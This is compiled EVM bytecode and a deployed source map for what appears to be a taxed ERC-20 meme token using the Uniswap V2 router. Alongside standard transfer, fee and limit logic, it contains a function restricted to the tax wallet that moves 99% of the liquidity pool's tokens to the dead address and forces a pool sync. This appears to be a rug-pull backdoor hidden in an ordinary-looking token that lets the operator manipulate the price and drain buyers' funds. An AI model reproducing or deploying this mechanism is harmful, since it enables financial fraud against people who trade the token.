c6106ce565b348015610280575f80fd5b5061022c61073f565b348015610294575f80fd5b506101bc600f5481565b3480156102a9575f80fd5b505f546040516001600160a01b03909116815260200161016f565b3480156102cf575f80fd5b506101bc60105481565b3480156102e4575f80fd5b50604080518082019091526008815267105314121050915560c21b6020820152610162565b348015610314575f80fd5b5061022c6107f7565b348015610328575f80fd5b506101976103373660046117db565b6109ef565b348015610347575f80fd5b506101bc60115481565b34801561035c575f80fd5b506006546101979060ff1681565b348015610375575f80fd5b5061022c6109fb565b348015610389575f80fd5b506101bc61039836600461185e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103ce338484610bcb565b5060015b92915050565b5f6103e56009600a611989565b6103f29062010d88611997565b905090565b5f610403848484610cee565b610454843361044f85604051806060016040528060288152602001611b2b602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611381565b610bcb565b5060019392505050565b60065461010090046001600160a01b0316336001600160a01b0316146104cb5760405162461bcd60e51b815260206004820152601f60248201527f4f6e6c79207461782077616c6c65742063616e206275726e20746f6b656e730060448201526064015b60405180910390fd5b6014545f906104e2906001600160a01b03166106b4565b90505f6104fb60646104f58460636113b9565b9061143e565b905080821015801561050c57505f81115b15610661576014546001600160a01b03165f90815260016020526040902054610535908261147f565b6014546001600160a01b03165f9081526001602052604081209190915561dead90527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d5461058390826114c0565b61dead5f81905260016020527fb34209a263f6c38fe55f099e9e70f9d67e93982480ff3234a5e0108028ad164d919091556014546040516001600160a01b0391909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105f69085815260200190565b60405180910390a360145f9054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561064a575f80fd5b505af115801561065c573d5f803e3d5ffd5b505050505b5050565b60065461010090046001600160a01b0316336001600160a01b031614610689575f80fd5b5f610693306106b4565b905080156106a4576106a48161151e565b47801561066157610661816116a7565b6001600160a01b03165f9081526001602052604090205490565b5f546001600160a01b031633146106f75760405162461bcd60e51b81526004016104c2906119ae565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107685760405162461bcd60e51b81526004016104c2906119ae565b6107746009600a611989565b6107819062010d88611997565b600f556107906009600a611989565b61079d9062010d88611997565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107d76009600a611989565b6107e49062010d88611997565b60405190815260200160405180910390a1565b5f546001600160a01b031633146108205760405162461bcd60e51b81526004016104c2906119ae565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561086890309061085b6009600a611989565b61044f9062010d88611997565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108dc91906119e3565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561093b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095f91906119e3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109cd91906119e3565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f6103ce338484610cee565b5f546001600160a01b03163314610a245760405162461bcd60e51b81526004016104c2906119ae565b601454600160a01b900460ff1615610a7e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c2565b6013546001600160a01b031663f305d7194730610a9a816106b4565b5f80610aad5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b13573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b3891906119fe565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b8d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bb19190611a29565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610c2d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c2565b6001600160a01b038216610c8e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d525760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c2565b6001600160a01b038216610db45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c2565b6006546001600160a01b03610100909104811690831603610e215760405162461bcd60e51b815260206004820152602160248201527f45524332303a207472616e7366657220746f20746865207461782077616c6c656044820152601d60fa1b60648201526084016104c2565b5f8111610e825760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c2565b5f80546001600160a01b03858116911614801590610ead57505f546001600160a01b03848116911614155b156112445760065460ff1615610f69576013546001600160a01b03848116911614801590610ee957506014546001600160a01b03848116911614155b15610f6957325f908152600560205260409020544311610f575760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b60648201526084016104c2565b325f9081526005602052604090204390555b6014546001600160a01b038581169116148015610f9457506013546001600160a01b03848116911614155b8015610fb857506001600160a01b0383165f9081526003602052604090205460ff16155b1561109c57600f5482111561100b5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b60448201526064016104c2565b60105482611018856106b4565b6110229190611a48565b11156110705760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c2565b600d54600e54101561108757823b15611087575f80fd5b600e8054905f61109683611a5b565b91905055505b6110c260646104f5600b54600e54116110b7576007546110bb565b6009545b85906113b9565b6014549091506001600160a01b0384811691161480156110eb57506001600160a01b0384163014155b1561116657600f5482111561113e5760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b60448201526064016104c2565b61116360646104f5600c54600e5411611159576008546110bb565b600a5485906113b9565b90505b5f611170306106b4565b601454909150600160a81b900460ff161580156111b657506014546001600160a01b03858116911614806111b657506006546001600160a01b0385811661010090920416145b80156111cb5750601454600160b01b900460ff165b80156111d8575060115481115b80156111e75750600d54600e54115b1561124257611209611204846111ff8460125461174f565b61174f565b61151e565b478015801590611232575060065461010090046001600160a01b0316336001600160a01b031614155b1561124057611240476116a7565b505b505b80156112bc57305f9081526001602052604090205461126390826114c0565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112b39085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546112de908361147f565b6001600160a01b0385165f90815260016020526040902055611321611303838361147f565b6001600160a01b0385165f90815260016020526040902054906114c0565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61136a858561147f565b60405190815260200160405180910390a350505050565b5f81848411156113a45760405162461bcd60e51b81526004016104c2919061178f565b505f6113b08486611a73565b95945050505050565b5f825f036113c857505f6103d2565b5f6113d38385611997565b9050826113e08583611a86565b146114375760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c2565b9392505050565b5f61143783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611763565b5f61143783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611381565b5f806114cc8385611a48565b9050838110156114375760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c2565b6014805460ff60a81b1916600160a81b179055801561169757601454600160a01b900460ff1615611697576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061157c5761157c611aa5565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115d3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115f791906119e3565b8160018151811061160a5761160a611aa5565b6001600160a01b0392831660209182029290920101526013546116309130911684610bcb565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906116689085905f90869030904290600401611ab9565b5f604051808303815f87803b15801561167f575f80fd5b505af1158015611691573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b6012546116b5906002611997565b6006546116cf9061010090046001600160a01b03166106b4565b10156117145760405162461bcd60e51b8152602060048201526014602482015273496e73756666696369656e742062616c616e636560601b60448201526064016104c2565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f19350505050158015610661573d5f803e3d5ffd5b5f81831161175d5782611437565b50919050565b5f81836117835760405162461bcd60e51b81526004016104c2919061178f565b505f6113b08486611a86565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146117d8575f80fd5b50565b5f80604083850312156117ec575f80fd5b82356117f7816117c4565b946020939093013593505050565b5f805f60608486031215611817575f80fd5b8335611822816117c4565b92506020840135611832816117c4565b929592945050506040919091013590565b5f60208284031215611853575f80fd5b8135611437816117c4565b5f806040838503121561186f575f80fd5b823561187a816117c4565b9150602083013561188a816117c4565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118e357815f19048211156118c9576118c9611895565b808516156118d657918102915b93841c93908002906118ae565b509250929050565b5f826118f9575060016103d2565b8161190557505f6103d2565b816001811461191b576002811461192557611941565b60019150506103d2565b60ff84111561193657611936611895565b50506001821b6103d2565b5060208310610133831016604e8410600b8410161715611964575081810a6103d2565b61196e83836118a9565b805f190482111561198157611981611895565b029392505050565b5f61143760ff8416836118eb565b80820281158282048414176103d2576103d2611895565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156119f3575f80fd5b8151611437816117c4565b5f805f60608486031215611a10575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a39575f80fd5b81518015158114611437575f80fd5b808201808211156103d2576103d2611895565b5f60018201611a6c57611a6c611895565b5060010190565b818103818111156103d2576103d2611895565b5f82611aa057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b095784516001600160a01b031683529383019391830191600101611ae4565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200a572b24bfb69dd69aad63fdb4ae75a9073d0721bdf87a04924556488a6edf6364736f6c63430008190033

Deployed Bytecode Sourcemap

3586:9158:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5601:83;;;;;;;;;;-1:-1:-1;5671:5:0;;;;;;;;;;;;-1:-1:-1;;;5671:5:0;;;;5601:83;;;;;;;:::i;:::-;;;;;;;;6434:161;;;;;;;;;;-1:-1:-1;6434:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6434:161:0;893:187:1;4786:49:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4786:49:0;1085:177:1;5878:95:0;;;;;;;;;;;;;:::i;6603:313::-;;;;;;;;;;-1:-1:-1;6603:313:0;;;;;:::i;:::-;;:::i;5787:83::-;;;;;;;;;;-1:-1:-1;5787:83:0;;4422:1;1870:36:1;;1858:2;1843:18;5787:83:0;1728:184:1;11796:579:0;;;;;;;;;;;;;:::i;:::-;;12385:348;;;;;;;;;;;;;:::i;5981:119::-;;;;;;;;;;-1:-1:-1;5981:119:0;;;;;:::i;:::-;;:::i;2603:148::-;;;;;;;;;;;;;:::i;10426:196::-;;;;;;;;;;;;;:::i;4609:50::-;;;;;;;;;;;;;;;;2389:79;;;;;;;;;;-1:-1:-1;2427:7:0;2454:6;2389:79;;-1:-1:-1;;;;;2454:6:0;;;2315:51:1;;2303:2;2288:18;2389:79:0;2169:203:1;4666:52:0;;;;;;;;;;;;;;;;5692:87;;;;;;;;;;-1:-1:-1;5764:7:0;;;;;;;;;;;;-1:-1:-1;;;5764:7:0;;;;5692:87;;10819:331;;;;;;;;;;;;;:::i;6108:167::-;;;;;;;;;;-1:-1:-1;6108:167:0;;;;;:::i;:::-;;:::i;4725:54::-;;;;;;;;;;;;;;;;3979:40;;;;;;;;;;-1:-1:-1;3979:40:0;;;;;;;;11158:390;;;;;;;;;;;;;:::i;6283:143::-;;;;;;;;;;-1:-1:-1;6283:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6391:18:0;;;6364:7;6391:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6283:143;6434:161;6509:4;6526:39;224:10;6549:7;6558:6;6526:8;:39::i;:::-;-1:-1:-1;6583:4:0;6434:161;;;;;:::o;5878:95::-;5931:7;4473:13;4422:1;4473:2;:13;:::i;:::-;4465:21;;:5;:21;:::i;:::-;5951:14;;5878:95;:::o;6603:313::-;6701:4;6718:36;6728:6;6736:9;6747:6;6718:9;:36::i;:::-;6765:121;6774:6;224:10;6796:89;6834:6;6796:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6796:19:0;;;;;;:11;:19;;;;;;;;224:10;6796:33;;;;;;;;;;:37;:89::i;:::-;6765:8;:121::i;:::-;-1:-1:-1;6904:4:0;6603:313;;;;;:::o;11796:579::-;11852:10;;;;;-1:-1:-1;;;;;11852:10:0;224;-1:-1:-1;;;;;11836:26:0;;11828:70;;;;-1:-1:-1;;;11828:70:0;;4654:2:1;11828:70:0;;;4636:21:1;4693:2;4673:18;;;4666:30;4732:33;4712:18;;;4705:61;4783:18;;11828:70:0;;;;;;;;;11946:13;;11905:28;;11936:24;;-1:-1:-1;;;;;11946:13:0;11936:9;:24::i;:::-;11905:55;-1:-1:-1;11967:18:0;11988:37;12021:3;11988:28;11905:55;12013:2;11988:24;:28::i;:::-;:32;;:37::i;:::-;11967:58;;12060:10;12036:20;:34;;:52;;;;;12087:1;12074:10;:14;12036:52;12032:336;;;12138:13;;-1:-1:-1;;;;;12138:13:0;12128:24;;;;:9;:24;;;;;;:40;;12157:10;12128:28;:40::i;:::-;12111:13;;-1:-1:-1;;;;;12111:13:0;12101:24;;;;:9;:24;;;;;:67;;;;4884:42;12205:23;;;;:39;;12233:10;12205:27;:39::i;:::-;4884:42;12179:23;;;;:9;:23;;;:65;;;;12269:13;;12179:23;12260:49;-1:-1:-1;;;;;12269:13:0;;;;;12260:49;;;;12298:10;1231:25:1;;1219:2;1204:18;;1085:177;12260:49:0;;;;;;;;12335:13;;;;;;;;;-1:-1:-1;;;;;12335:13:0;-1:-1:-1;;;;;12320:34:0;;:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12032:336;11821:554;;11796:579::o;12385:348::-;12449:10;;;;;-1:-1:-1;;;;;12449:10:0;224;-1:-1:-1;;;;;12435:24:0;;12427:33;;;;;;12471:20;12492:24;12510:4;12492:9;:24::i;:::-;12471:45;-1:-1:-1;12530:14:0;;12527:73;;12558:30;12575:12;12558:16;:30::i;:::-;12629:21;12664:12;;12661:65;;12690:24;12703:10;12690:12;:24::i;5981:119::-;-1:-1:-1;;;;;6074:18:0;6047:7;6074:18;;;:9;:18;;;;;;;5981:119::o;2603:148::-;2516:6;;-1:-1:-1;;;;;2516:6:0;224:10;2516:22;2508:67;;;;-1:-1:-1;;;2508:67:0;;;;;;;:::i;:::-;2710:1:::1;2694:6:::0;;2673:40:::1;::::0;-1:-1:-1;;;;;2694:6:0;;::::1;::::0;2673:40:::1;::::0;2710:1;;2673:40:::1;2741:1;2724:19:::0;;-1:-1:-1;;;;;;2724:19:0::1;::::0;;2603:148::o;10426:196::-;2516:6;;-1:-1:-1;;;;;2516:6:0;224:10;2516:22;2508:67;;;;-1:-1:-1;;;2508:67:0;;;;;;;:::i;:::-;4473:13:::1;4422:1;4473:2;:13;:::i;:::-;4465:21;::::0;:5:::1;:21;:::i;:::-;10479:12;:22:::0;4473:13:::1;4422:1;4473:2;:13;:::i;:::-;4465:21;::::0;:5:::1;:21;:::i;:::-;10512:14;:22:::0;10545:20:::1;:26:::0;;-1:-1:-1;;10545:26:0::1;::::0;;10587:27:::1;4473:13;4422:1;-1:-1:-1::0;4473:13:0::1;:::i;:::-;4465:21;::::0;:5:::1;:21;:::i;:::-;10587:27;::::0;1231:25:1;;;1219:2;1204:18;10587:27:0::1;;;;;;;10426:196::o:0;10819:331::-;2516:6;;-1:-1:-1;;;;;2516:6:0;224:10;2516:22;2508:67;;;;-1:-1:-1;;;2508:67:0;;;;;;;:::i;:::-;10872:15:::1;:80:::0;;-1:-1:-1;;;;;;10872:80:0::1;10909:42;10872:80:::0;;::::1;::::0;;;10963:58:::1;::::0;10980:4:::1;::::0;4473:13:::1;4422:1;4473:2;:13;:::i;:::-;4465:21;::::0;:5:::1;:21;:::i;10963:58::-;11066:15;;;;;;;;;-1:-1:-1::0;;;;;11066:15:0::1;-1:-1:-1::0;;;;;11066:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11048:55:0::1;;11112:4;11119:15;;;;;;;;;-1:-1:-1::0;;;;;11119:15:0::1;-1:-1:-1::0;;;;;11119:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11048:94;::::0;-1:-1:-1;;;;;;11048:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5659:15:1;;;11048:94:0::1;::::0;::::1;5641:34:1::0;5711:15;;5691:18;;;5684:43;5576:18;;11048:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11032:13;:110:::0;;-1:-1:-1;;;;;;11032:110:0::1;-1:-1:-1::0;;;;;11032:110:0;;;::::1;::::0;;;::::1;::::0;;10819:331::o;6108:167::-;6186:4;6203:42;224:10;6227:9;6238:6;6203:9;:42::i;11158:390::-;2516:6;;-1:-1:-1;;;;;2516:6:0;224:10;2516:22;2508:67;;;;-1:-1:-1;;;2508:67:0;;;;;;;:::i;:::-;11222:11:::1;::::0;-1:-1:-1;;;11222:11:0;::::1;;;11221:12;11213:47;;;::::0;-1:-1:-1;;;11213:47:0;;5940:2:1;11213:47:0::1;::::0;::::1;5922:21:1::0;5979:2;5959:18;;;5952:30;6018:25;5998:18;;;5991:53;6061:18;;11213:47:0::1;5738:347:1::0;11213:47:0::1;11271:15;::::0;-1:-1:-1;;;;;11271:15:0::1;:31;11310:21;11341:4;11347:24;11341:4:::0;11347:9:::1;:24::i;:::-;11372:1;11374::::0;11376:7:::1;2427::::0;2454:6;-1:-1:-1;;;;;2454:6:0;;2389:79;11376:7:::1;11271:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11271:129:0;;;-1:-1:-1;;;;;6449:15:1;;;11271:129:0::1;::::0;::::1;6431:34:1::0;6481:18;;;6474:34;;;;6524:18;;;6517:34;;;;6567:18;;;6560:34;6631:15;;;6610:19;;;6603:44;11384:15:0::1;6663:19:1::0;;;6656:35;6365:19;;11271:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11418:13:0::1;::::0;11449:15:::1;::::0;11411:71:::1;::::0;-1:-1:-1;;;11411:71:0;;-1:-1:-1;;;;;11449:15:0;;::::1;11411:71;::::0;::::1;7187:51:1::0;-1:-1:-1;;7254:18:1;;;7247:34;11418:13:0;::::1;::::0;-1:-1:-1;11411:29:0::1;::::0;7160:18:1;;11411:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11493:11:0::1;:18:::0;;-1:-1:-1;;;;11522:18:0;-1:-1:-1;;;11522:18:0;;;11158:390::o;6924:335::-;-1:-1:-1;;;;;7017:19:0;;7009:68;;;;-1:-1:-1;;;7009:68:0;;7776:2:1;7009:68:0;;;7758:21:1;7815:2;7795:18;;;7788:30;7854:34;7834:18;;;7827:62;-1:-1:-1;;;7905:18:1;;;7898:34;7949:19;;7009:68:0;7574:400:1;7009:68:0;-1:-1:-1;;;;;7096:21:0;;7088:68;;;;-1:-1:-1;;;7088:68:0;;8181:2:1;7088:68:0;;;8163:21:1;8220:2;8200:18;;;8193:30;8259:34;8239:18;;;8232:62;-1:-1:-1;;;8310:18:1;;;8303:32;8352:19;;7088:68:0;7979:398:1;7088:68:0;-1:-1:-1;;;;;7167:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7219:32;;1231:25:1;;;7219:32:0;;1204:18:1;7219:32:0;;;;;;;6924:335;;;:::o;7265:2484::-;-1:-1:-1;;;;;7349:18:0;;7341:68;;;;-1:-1:-1;;;7341:68:0;;8584:2:1;7341:68:0;;;8566:21:1;8623:2;8603:18;;;8596:30;8662:34;8642:18;;;8635:62;-1:-1:-1;;;8713:18:1;;;8706:35;8758:19;;7341:68:0;8382:401:1;7341:68:0;-1:-1:-1;;;;;7424:16:0;;7416:64;;;;-1:-1:-1;;;7416:64:0;;8990:2:1;7416:64:0;;;8972:21:1;9029:2;9009:18;;;9002:30;9068:34;9048:18;;;9041:62;-1:-1:-1;;;9119:18:1;;;9112:33;9162:19;;7416:64:0;8788:399:1;7416:64:0;7501:10;;-1:-1:-1;;;;;7501:10:0;;;;;;7495:16;;;;7487:62;;;;-1:-1:-1;;;7487:62:0;;9394:2:1;7487:62:0;;;9376:21:1;9433:2;9413:18;;;9406:30;9472:34;9452:18;;;9445:62;-1:-1:-1;;;9523:18:1;;;9516:31;9564:19;;7487:62:0;9192:397:1;7487:62:0;7573:1;7564:6;:10;7556:64;;;;-1:-1:-1;;;7556:64:0;;9796:2:1;7556:64:0;;;9778:21:1;9835:2;9815:18;;;9808:30;9874:34;9854:18;;;9847:62;-1:-1:-1;;;9925:18:1;;;9918:39;9974:19;;7556:64:0;9594:405:1;7556:64:0;7627:17;2454:6;;-1:-1:-1;;;;;7665:15:0;;;2454:6;;7665:15;;;;:32;;-1:-1:-1;2427:7:0;2454:6;-1:-1:-1;;;;;7684:13:0;;;2454:6;;7684:13;;7665:32;7661:1739;;;7716:20;;;;7712:331;;;7771:15;;-1:-1:-1;;;;;7757:30:0;;;7771:15;;7757:30;;;;:62;;-1:-1:-1;7805:13:0;;-1:-1:-1;;;;;7791:28:0;;;7805:13;;7791:28;;7757:62;7753:279;;;7877:9;7848:39;;;;:28;:39;;;;;;7890:12;-1:-1:-1;7840:103:0;;;;-1:-1:-1;;;7840:103:0;;10206:2:1;7840:103:0;;;10188:21:1;10245:2;10225:18;;;10218:30;10284:34;10264:18;;;10257:62;-1:-1:-1;;;10335:18:1;;;10328:34;10379:19;;7840:103:0;10004:400:1;7840:103:0;7991:9;7962:39;;;;:28;:39;;;;;8004:12;7962:54;;7753:279;8067:13;;-1:-1:-1;;;;;8059:21:0;;;8067:13;;8059:21;:55;;;;-1:-1:-1;8098:15:0;;-1:-1:-1;;;;;8084:30:0;;;8098:15;;8084:30;;8059:55;:82;;;;-1:-1:-1;;;;;;8119:22:0;;;;;;:18;:22;;;;;;;;8118:23;8059:82;8055:404;;;8176:12;;8166:6;:22;;8158:60;;;;-1:-1:-1;;;8158:60:0;;10611:2:1;8158:60:0;;;10593:21:1;10650:2;10630:18;;;10623:30;-1:-1:-1;;;10669:18:1;;;10662:55;10734:18;;8158:60:0;10409:349:1;8158:60:0;8267:14;;8257:6;8241:13;8251:2;8241:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8233:79;;;;-1:-1:-1;;;8233:79:0;;11095:2:1;8233:79:0;;;11077:21:1;11134:2;11114:18;;;11107:30;11173:28;11153:18;;;11146:56;11219:18;;8233:79:0;10893:350:1;8233:79:0;8343:18;;8331:9;;:30;8327:95;;;11724:20;;11772:8;8382:24;;;;;;8436:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8055:404;8493:82;8571:3;8493:73;8517:15;;8505:9;;:27;8504:61;;8551:14;;8504:61;;;8536:12;;8504:61;8493:6;;:10;:73::i;:82::-;8596:13;;8481:94;;-1:-1:-1;;;;;;8590:19:0;;;8596:13;;8590:19;:44;;;;-1:-1:-1;;;;;;8613:21:0;;8629:4;8613:21;;8590:44;8586:263;;;8669:12;;8659:6;:22;;8651:60;;;;-1:-1:-1;;;8651:60:0;;10611:2:1;8651:60:0;;;10593:21:1;10650:2;10630:18;;;10623:30;-1:-1:-1;;;10669:18:1;;;10662:55;10734:18;;8651:60:0;10409:349:1;8651:60:0;8738:85;8819:3;8738:76;8762:16;;8750:9;;:28;8749:64;;8798:15;;8749:64;;;8782:13;;8738:6;;:10;:76::i;:85::-;8726:97;;8586:263;8861:28;8892:24;8910:4;8892:9;:24::i;:::-;8932:6;;8861:55;;-1:-1:-1;;;;8932:6:0;;;;8931:7;:52;;;;-1:-1:-1;8949:13:0;;-1:-1:-1;;;;;8943:19:0;;;8949:13;;8943:19;;:39;;-1:-1:-1;8972:10:0;;-1:-1:-1;;;;;8966:16:0;;;8972:10;;;;;8966:16;8943:39;8931:67;;;;-1:-1:-1;8987:11:0;;-1:-1:-1;;;8987:11:0;;;;8931:67;:111;;;;;9025:17;;9002:20;:40;8931:111;:145;;;;;9058:18;;9046:9;;:30;8931:145;8927:450;;;9093:69;9110:51;9114:6;9122:38;9126:20;9148:11;;9122:3;:38::i;:::-;9110:3;:51::i;:::-;9093:16;:69::i;:::-;9206:21;9246:22;;;;;:52;;-1:-1:-1;9288:10:0;;;;;-1:-1:-1;;;;;9288:10:0;224;-1:-1:-1;;;;;9272:26:0;;;9246:52;9242:124;;;9315:35;9328:21;9315:12;:35::i;:::-;9078:299;8927:450;7699:1701;7661:1739;9418:13;;9414:160;;9489:4;9471:24;;;;:9;:24;;;;;;:39;;9500:9;9471:28;:39::i;:::-;9462:4;9444:24;;;;:9;:24;;;;;;;:66;;;;9526:40;;-1:-1:-1;;;;;9526:40:0;;;;;;;9556:9;1231:25:1;;1219:2;1204:18;;1085:177;9526:40:0;;;;;;;;9414:160;-1:-1:-1;;;;;9598:15:0;;;;;;:9;:15;;;;;;:27;;9618:6;9598:19;:27::i;:::-;-1:-1:-1;;;;;9580:15:0;;;;;;:9;:15;;;;;:45;9648:40;9666:21;:6;9677:9;9666:10;:21::i;:::-;-1:-1:-1;;;;;9648:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9632:13:0;;;;;;;:9;:13;;;;;:56;;;;9700:41;;;9719:21;:6;9730:9;9719:10;:21::i;:::-;9700:41;;1231:25:1;;;1219:2;1204:18;9700:41:0;;;;;;;7334:2415;7265:2484;;;:::o;1281:190::-;1367:7;1403:12;1395:6;;;;1387:29;;;;-1:-1:-1;;;1387:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1427:9:0;1439:5;1443:1;1439;:5;:::i;:::-;1427:17;1281:190;-1:-1:-1;;;;;1281:190:0:o;1479:246::-;1537:7;1561:1;1566;1561:6;1557:47;;-1:-1:-1;1591:1:0;1584:8;;1557:47;1614:9;1626:5;1630:1;1626;:5;:::i;:::-;1614:17;-1:-1:-1;1659:1:0;1650:5;1654:1;1614:17;1650:5;:::i;:::-;:10;1642:56;;;;-1:-1:-1;;;1642:56:0;;11945:2:1;1642:56:0;;;11927:21:1;11984:2;11964:18;;;11957:30;12023:34;12003:18;;;11996:62;-1:-1:-1;;;12074:18:1;;;12067:31;12115:19;;1642:56:0;11743:397:1;1642:56:0;1716:1;1479:246;-1:-1:-1;;;1479:246:0:o;1733:132::-;1791:7;1818:39;1822:1;1825;1818:39;;;;;;;;;;;;;;;;;:3;:39::i;1137:136::-;1195:7;1222:43;1226:1;1229;1222:43;;;;;;;;;;;;;;;;;:3;:43::i;950:179::-;1008:7;;1040:5;1044:1;1040;:5;:::i;:::-;1028:17;;1069:1;1064;:6;;1056:46;;;;-1:-1:-1;;;1056:46:0;;12347:2:1;1056:46:0;;;12329:21:1;12386:2;12366:18;;;12359:30;12425:29;12405:18;;;12398:57;12472:18;;1056:46:0;12145:351:1;9863:555:0;5210:6;:13;;-1:-1:-1;;;;5210:13:0;-1:-1:-1;;;5210:13:0;;;9941:27;;9960:7:::1;9941:27;